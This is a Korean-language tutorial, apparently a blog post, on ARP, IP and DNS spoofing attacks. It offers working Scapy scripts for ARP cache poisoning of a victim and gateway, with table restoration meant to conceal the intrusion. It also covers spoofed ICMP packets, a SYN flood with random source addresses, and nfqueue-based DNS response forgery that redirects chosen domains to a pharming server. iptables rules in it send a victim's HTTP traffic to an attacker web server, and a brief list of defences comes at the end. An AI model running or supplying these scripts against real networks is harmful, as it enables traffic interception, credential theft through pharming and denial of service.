스푸핑(Spoofing)은 네트워크에서 MAC 주소나 IP 주소 등을 속여 정보를 가로채는 기법이다.
실제 해킹에서 스니핑(Sniffing)으로 네트워크 패킷을 가로챈 후 ARP 스푸핑이나
DNS 스푸핑으로 패킷 정보를 가공하여 대상 시스템으로 전송한다.
스푸핑한 내용에 따라 대상 시스템으로 부터 응답되는 데이터를 공격자의 컴퓨터에서
전송 받아 내용을 분석하거나, 대상 시스템이 다른 시스템으로 응답하게 하여
서비스 거부 공격(DoS)을 수행하기도 한다.
ARP 프로토콜은 IP 주소에 대응하는 MAC 주소를 찾기 위해 사용된다.
ARP 테이블이란 해당 서브네트워크에 존재하는 IP 주소와 그에 대응하는 MAC 주소를
살펴볼 수 있는 테이블을 말하는데, 이 테이블을 조작하여 데이터를 가로채는 것이
ARP Spoofing 이다.
윈도우에서 ARP 테이블은
arp -a명령을 통해 확인할 수 있다
ARP 테이블을 확인해보면 동적으로 표현된 부분이 있다. 이는 호스트가 매번 IP 주소와
MAC 주소를 변환하기 위해 ARP 브로드캐스트 하는 것을 방지하기 위해 캐시한 것이다.
ARP 테이블에 캐시된 내용에서 공격자는 특정 IP 주소에 대응하는 MAC 주소를
공격자의 MAC 주소로 바꾸어 모든 데이터가 공격자의 컴퓨터로 전송된다.
이때, 피해 컴퓨터의 사용자는 누군가에 의해 정보를 탈취당하고 있음을 눈치채지 못하도록
공격자의 컴퓨터를 IP 라우팅이 가능하도록 설정해야 한다. 이를 통해 가로챈 데이터를
훔쳐 본 후 원래 목적지 IP 주소로 전달하기 위함이다.
IP 라우팅 설정하기
윈도우 커맨드 창에서 services.msc 실행
서비스 목록 중 Routing and Remote Access를 찾는다
Routing and Remote Access에 우클릭하여 '속성'에 들어가
시작유형을 자동(지연된 시작)으로 변경한 후 확인을 누른다
다시 우클릭하여 들어간 후 시작을 누른다.
이후 ipconfig /all 명령을 통해 IP 라우팅 사용이 '예'로 되어있는지 확인한다.
리눅스의 경우 - root 계정 로그인
#echo 1 > /proc/sys/net/ipv4/ip_forward

피해 컴퓨터에서 게이트웨이로 나가는 데이터를 공격자의 컴퓨터로 전달하기 위해
피해 컴퓨터의 ARP 테이블을 변조한다. 이를 위해 게이트웨이의 IP 주소에 대응되는
MAC 주소를 공격자의 MAC 주소로 변조한 ARP Reply 패킷을 피해 컴퓨터로 보낸다.
게이트웨이를 통해 피해 컴퓨터로 전달되는 데이터를 공격자의 컴퓨터로 전달하기 위해
게이트웨이의 ARP 테이블도 변조해야 하며, 이를 위해 피해 컴퓨터의 IP 주소에 대응되는
MAC 주소를 공격자의 MAC 주소로 변조한 ARP Reply 패킷을 게이트웨이로 보낸다.
def getMac(ip):
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=5, retry=3)
for s, r in ans:
return r.sprintf("%Ether.src%")
이더넷 환경의 LAN에서 IP 주소에 해당하는 컴퓨터의 MAC 주소를 얻는다.
해당 컴퓨터가 동작하지 않는 상태라면 MAC 주소를 얻지 못한다.
def poisonARP(srcip, targetip, targetmac):
# op : Request / Reply 지정, 1(요청), 2(응답)
# psrc : Source IP
# pdst : Destination IP
# hwsrc : Source MAC
# hwdst : Destination MAC
arp = ARP(op=2, psrc=srcip, pdst=targetip, hwdst=targetmac)
send(arp)
Scapy 모듈의 ARP 객체를 이용하여 ARP 패킷을 구성하고 send()로 ARP 패킷을 전송한다.
hwsrc가 생략되어 있는데, ARP 패킷을 보내는 컴퓨터의 MAC 주소가 자동으로 할당된다.
srcip에 게이트웨이 IP 주소를, targetip에 피해 컴퓨터의 IP 주소, targetmac에 피해 컴퓨터의
MAC 주소를 입력하여 구성한 ARP 패킷은 공격자가 보내는 것이지만, 이를 수신한 피해 컴퓨터는
게이트웨이에서 온 ARP로 생각하고 hwsrc가 공격자의 MAC 주소로 자동 할당되어 있으므로
ARP 테이블에서 게이트웨이의 MAC 주소를 공격자 컴퓨터의 MAC 주소로 바꾸게 된다.
def restoreARP(victimip, gatewayip, victimmac, gatewaymac):
arp1 = ARP(
op=2, psrc=gatewayip, pdst=victimip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gatewaymac
)
arp2 = ARP(
op=2, psrc=victimip, pdst=gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimmac
)
send(arp1, count=3)
send(arp2, count=3)
피해 컴퓨터와 게이트웨이의 ARP 테이블을 원상 복구하는 함수이다. ARP 스푸핑을 통한 작업이
마무리되면 이 함수를 호출하여 ARP 테이블을 원래대로 복구함으로써 해킹 피해사실을 숨긴다.
arp1은 피해 컴퓨터의 ARP 테이블에서 게이트웨이의 MAC 주소를 복구하기 위한 패킷이며
arp2는 게이트웨이 ARP 테이블에서 피해 컴퓨터의 MAC 주소를 복구하기 위한 패킷이다.
hwdst="ff:ff:ff:ff:ff:ff"로 설정한 이유는 네트워크의 모든 호스트로 브로드캐스트 하여
각 ARP 테이블을 확실하게 복구하기 위함으로, 3번 정도 전송한다.
try:
while True:
poisonARP(gatewayip, victimip, victimmac)
poisonARP(victimip, gatewayip, gatewaymac)
sleep(3)
except KeyboardInterrupt: # Ctrl + C 입력시
restoreARP(victimip, gatewayip, victimmac, gatewaymac)
print("--- ARP Spoofing End -> RESTORE ARP Table")
Ctrl+C로 중지할 때까지 3초마다 한번씩 변조된 ARP Reply 패킷을 양쪽에 보낸다.
이는 해킹 작업이 마무리될 때까지 피해 컴퓨터와 게이트웨이에 ARP 테이블을 지속하기 위함이다.
전체 코드
from scapy.all import srp, Ether, ARP, send
from time import sleep
def getMac(ip):
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=5, retry=3)
for s, r in ans:
return r.sprintf("%Ether.src%")
def poisonARP(srcip, targetip, targetmac):
# op : Request / Reply 지정, 1(요청), 2(응답)
# psrc : Source IP
# pdst : Destination IP
# hwsrc : Source MAC
# hwdst : Destination MAC
arp = ARP(op=2, psrc=srcip, pdst=targetip, hwdst=targetmac)
send(arp)
def restoreARP(victimip, gatewayip, victimmac, gatewaymac):
arp1 = ARP(
op=2, psrc=gatewayip, pdst=victimip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gatewaymac
)
arp2 = ARP(
op=2, psrc=victimip, pdst=gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimmac
)
send(arp1, count=3)
send(arp2, count=3)
def main():
gatewayip = "172.21.70.1"
victimip = "172.21.70.180"
gatewaymac = getMac(gatewayip)
victimmac = getMac(victimip)
if victimmac == None or gatewaymac == None:
print("Could not find MAC address")
return
print("+++ ARP Spoofing Start -> VICTIM IP[%s]" % victimip)
print("[%s]: POISION ARP Tablr [%s] -> [%s]" % (victimip, gatewaymac, victimmac))
try:
while True:
poisonARP(gatewayip, victimip, victimmac)
poisonARP(victimip, gatewayip, gatewaymac)
sleep(3)
except KeyboardInterrupt: # Ctrl + C 입력시
restoreARP(victimip, gatewayip, victimmac, gatewaymac)
print("--- ARP Spoofing End -> RESTORE ARP Table")
위에서 피해 컴퓨터로 송수신되는 모든 네트워크 데이터를 공격자의 컴퓨터로 전달시킬 수 있었다.
추가로, 공격자는 자신의 컴퓨터에서 IP 테이블을 조작하여 피해 컴퓨터로부터 전달된
네트워크 데이터를 특정 사이트로 리다이렉션 할 수 있다.
아래는 피해 컴퓨터로부터 전달되는 네트워크 데이터에서 HTTP를 제외한 것은 모두 정상적으로
라우팅하고, HTTP 데이터만 공격자의 웹 서버로 유도하는 방법이다.
#iptables -t nat -F -> NAT 테이블에서 모든 규칙 초기화
#iptables -Z -> 모든 체인의 패킷 및 바이트 카운터 초기화
#iptables -A FORWARD -i eth0 -j ACCEPT -> 포워딩 체인에 규칙 추가
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE -> POSTROUTING 체인에 규칙 추가
#iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination (공격자 웹 서버 IP)
위 명령어를 통해 공격자 컴퓨터의 IP 라우팅 테이블을 초기화 하고, eth0 장치를 통해 들어오는
모든 네트워크 데이터를 허용하며, eth0 장치에 내장된 POSTROUTING 체인을 지정한다.
-j MASQUERADE 옵션을 통해 컴퓨터의 사설 IP 주소를 게이트웨이의 외부 IP 주소로 변경하고
LAN 외부에서 80번 포트로 들어오는 모든 HTTP 연결을
별개의 네트워크에 있는 HTTP 서버로 라우팅한다.
IP 스푸핑은 보내는 IP 주소를 위조한 IP 패킷을 생성하여 다른 시스템이 보낸 것 처럼 위장한다.
서비스 거부 공격(DoS)을 위해 가장 흔하게 사용되는 기법이며 보내는 IP 주소를 위조하였기에
공격자의 IP 주소를 추적하는데 어려움을 준다.
def ipSpoof(srcip, dstip):
ip_packet = IP(src=srcip, dst=dstip) / ICMP()
print(ip_packet.show())
send(ip_packet)
보내는 IP 주소를 srcip로, 목적지 IP 주소를 dstip로 하여 PING Echo Request 패킷을 생성 후
생성된 패킷 정보를 출력하고 send()로 전송하는 함수이다.
Scapy는 연산자 /를 재정의하여 패킷을 손쉽게 구성하도록 했다.
위에서 IP 계층을 구성하고 / 다음에 상위 계층인 ICMP 게층을 구성한 것을 볼 수 있다.
물리 계층의 헤더는 구현자가 지정하지 않아도 알아서 구성해준다.
다음 코드는 srcip와 dstip를 설정하여 PING Echo Request 패킷을 보낸다.
from scapy.all import IP, ICMP, send
def ipSpoof(srcip, dstip):
ip_packet = IP(src=srcip, dst=dstip) / ICMP()
print(ip_packet.show())
send(ip_packet)
def main():
srcip = "172.21.70.227"
dstip = "172.21.70.180"
ipSpoof(srcip, dstip)
print("Sent Spoofed IP [%s] to [%s]" % (srcip, dstip))
if __name__ == "__main__":
main()
IP 스푸핑을 TCP 패킷에 적절하게 응용하면 SYN Flooding 공격을 할 수 있다.
SYN Flooding 공격이란, 비정상적인 IP 주소를 발신지 주소로 하여 대량의 TCP 접속을 시도하여
호스트의 자원을 고갈시키는 서비스 거부 공격 유형이다.
def getRandomIP():
ipfactors = [x for x in range(256)]
tmpip = []
for i in range(4):
shuffle(ipfactors)
tmpip.append(str(ipfactors[0]))
randomip = ".".join(tmpip)
return randomip
무작위 IP 주소 생성을 위해 random 모듈의 shuffle()을 이용한다. 보내는 IP를 꼭 무작위로
설정할 필요는 없으며 특정 IP 주소를 사용해도 무관하다.
def synAttack(targetip):
srcip = getRandomIP()
P_IP = IP(src=srcip, dst=targetip)
P_TCP = TCP(dport=range(1, 1024), flags="S")
packet = P_IP / P_TCP
srflood(packet, store=0)
targetip로 SYN Flooding을 수행한다. 무작위로 생성한 주소를 TCP SYN을 보내는 주소로 설정하고
TCP 포트 1~1024 사이의 포트번호로 전송할 TCP SYN 패킷을 구성하여 srflood()로 수행한다.
현재 대부분의 서버는 SYN Flooding에 의한 자원고갈을 막기 위해 "SYN 쿠키" 기술을 사용한다.
DNS 스푸핑은 공격자가 중간에서 DNS 쿼리 패킷을 가로채어 질의한 IP를 조작한 후
DNS 응답 패킷을 피해 컴퓨터로 보내는 해킹 기법이다.
공격자가 구축한 파밍 웹 서버로 유도하기 위해 자주 사용된다.
def dnsSpoof(packet):
spoofDNS = "172.21.70.227"
dstip = packet[IP].src
srcip = packet[IP].dst
sport = packet[UDP].sport
dport = packet[UDP].dport
위 함수는 피해 컴퓨터가 DNS 서버로 전송하는 패킷을 스니핑 했을 때 실행되는 콜백함수로,
목적지, 발신지 IP 주소는 각각 가로챈 DNS 쿼리 패킷의 발신지, 목적지 IP 주소로 대체한다.
이를 통해 DNS 쿼리를 발신한 호스트에서 변조된 응답 패킷을 제대로 된 패킷으로 보이게 한다.
if packet.haslayer(DNSQR):
dnsid = packet[DNS].id
qd = packet[DNS].qd
dnsrr = DNSRR(rrname=qd.qname, ttl=10, rdata=spoofDNS)
spoofPacket = (
IP(dst=dstip, src=srcip)
/ UDP(dport=dport, sport=sport)
/ DNS(id=dnsid, qd=qd, aa=1, qr=1, an=dnsrr)
)
send(spoofPacket)
print("+++ SOURCE[%s] -> DEST[%s]" % (dstip, srcip))
print(spoofPacket.summary())
가로챈 패킷이 DNS 쿼리를 가지고 있으면 응답패킷을 생성한다. id와 qd는 그대로 가져와
사용하고 응답 레코드인 DNSRR의 rdata에 변조한 응답 IP 주소를 넣는다.
이후 send()를 통해 보낸다.
위 코드는 피해 컴퓨터에서 보낸 DNS 쿼리를 가로챈 후 정상 DNS 서버로 포워딩 되므로
공격자가 변조한 DNS 응답 패킷과 실제 정상 패킷이 한번에 도착하게 된다.
이를 DNS 경쟁이라고 하며, DNS 쿼리에 대해 최초로 응답된 DNS 패킷을 취한다.
이를 해결하기 위해선 UDP 53번 포트로 포워딩되는 데이터를 따로 처리하여 정상 DNS로
가지 못하도록 처리해야 한다.
파이썬 외부 모듈인 nfqueue를 이용하여 패킷에 대한 접근을 하여 통제한다.
def dnsSpoof(dummy, payload):
data = payload.get_data()
pkt = IP(data)
dstip = pkt[IP].src
srcip = pkt[IP].dst
sport = pkt[UDP].dport
dport = pkt[UDP].sport
if not pkt.haslayer(DNSQR):
payload.set_verdict(nfqueue.NF_ACCEPT)
else:
dnsid = pkt[DNS].id
qd = pkt[DNS].qd
rrname = pkt[DNS].qd.qname
if pharming_target in rrname:
P_IP = IP(dst=dstip, src=srcip)
P_UDP = UDP(dport=dport, sport=sport)
dnsrr = DNSRR(rrname=qd.qname, ttl=10, rdata=pharming_site)
P_DNS = DNS(id=dnsid, qd=qd, aa=1, qr=1, an=dnsrr)
spoofpacket = P_IP / P_UDP / P_DNS
payload.set_verdict_modified(
nfqueue.NF_ACCEPT, str(spoofpacket), len(spoofpacket)
)
print("+++ SOURCE[%s] -> DEST[%s]" % (pharming_target, pharming_site))
else:
payload.set_verdict(nfqueue.NF_ACCEPT)
함수 dnsSpoof()는 nfqueue의 큐에 데이터가 들어오면 호출할 콜백 함수이다.
큐로부터 전달받는 데이터는 payload이며, q.set_callback(dnsSpoof)로 콜백을 지정하였다.
os.system("iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE")
위 설정을 통해 UDP 포트 53번을 통해 들어오는 모든 패킷은 nfqueue가 처리하게 된다.
큐에 들어온 패킷이 DNS 쿼리가 아니면 원래 목적지로 가도록 전달하고, 이 역할은
payload.set_verdict(nfqueue.NF_ACCEPT) 가 진행한다.
패킷이 DNS 쿼리일 경우 id, qd 정보를 가져오고 qd.qname이 pharming_target과 일치하면
파밍사이트 IP 주소로 DNS 응답 패킷을 구성하고 payload.set_verdict_modified()를 이용해
수정된 패킷을 피해 컴퓨터로 전달한다.
def main():
print("+++ DNS Spoofing Start")
os.system("iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE")
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(dnsSpoof)
q.create_queue(0)
try:
q.try_run()
except KeyboardInterrupt:
q.unbind(socket.AF_INET)
q.close()
os.system("iptables -F")
os.system("iptables -X")
print("\n---RECOVER IPTABLES---")
return
UDP 포트 53번으로 전송되는 데이터를 nfqueue로 전달하도록 IP 테이블을 수정하는 명령은
os.system()을 이용하여 수행한다. 큐를 생성하여 소켓과 바인딩 한 후 콜백함수를 지정했다.
q.try_run()은 메인 루프 함수로, 큐에 데이터가 전달될 때까지 이곳에서 블로킹 된다.
ARP 스푸핑
ARP 스푸핑을 방어하기 위해서는 게이트웨이 MAC 주소를 변조하지 못하도록
정적으로 설정해야 한다.
IP 스푸핑 방어
TCP/IP의 구조적인 취약점으로 발생하는 것이므로 완벽하게 방어할 수 없으나,
내부 네트워크에 대한 보안관제 시스템을 구축하여 지속적으로 모니터링 해야 한다.
스위치/라우터에서 패킷 필터링 (보내는 주소가 내부 IP 주소인 경우 차단)
rsh, rlogin 과 같이 패스워드에 의한 인증 과정이 없는 서비스는 사용하지 않음
DNS 스푸핑 방어
DNS 쿼리를 요청할 때 무작위로 소스 포트 번호를 선택하고, 16비트 암호화 NONCE를 가지고
생성한 비밀번호를 DNS 쿼리와 묶어 보내, 경쟁 공격에 대응한다.
DNS 캐시 변조 공격을 방어하기 위해 보안 DNS인 DNSSEC을 적용한다.
(DNSSEC은 인증기관의 디지털 서명을 활용하여 DNS 데이터를 검증한다)
모든 DNS 쿼리는 로컬 DNS 서버에서만 해석하도록 함
외부 서버로 향하는 DNS 요청을 막음
DNSSEC을 적용한다
DNS 해석기에 무작위 소스 포트 번호를 처리하게 설정
방화벽 외부 DNS 룩업을 제한
모든 사용자에게 Recursive DNS 서비스 제한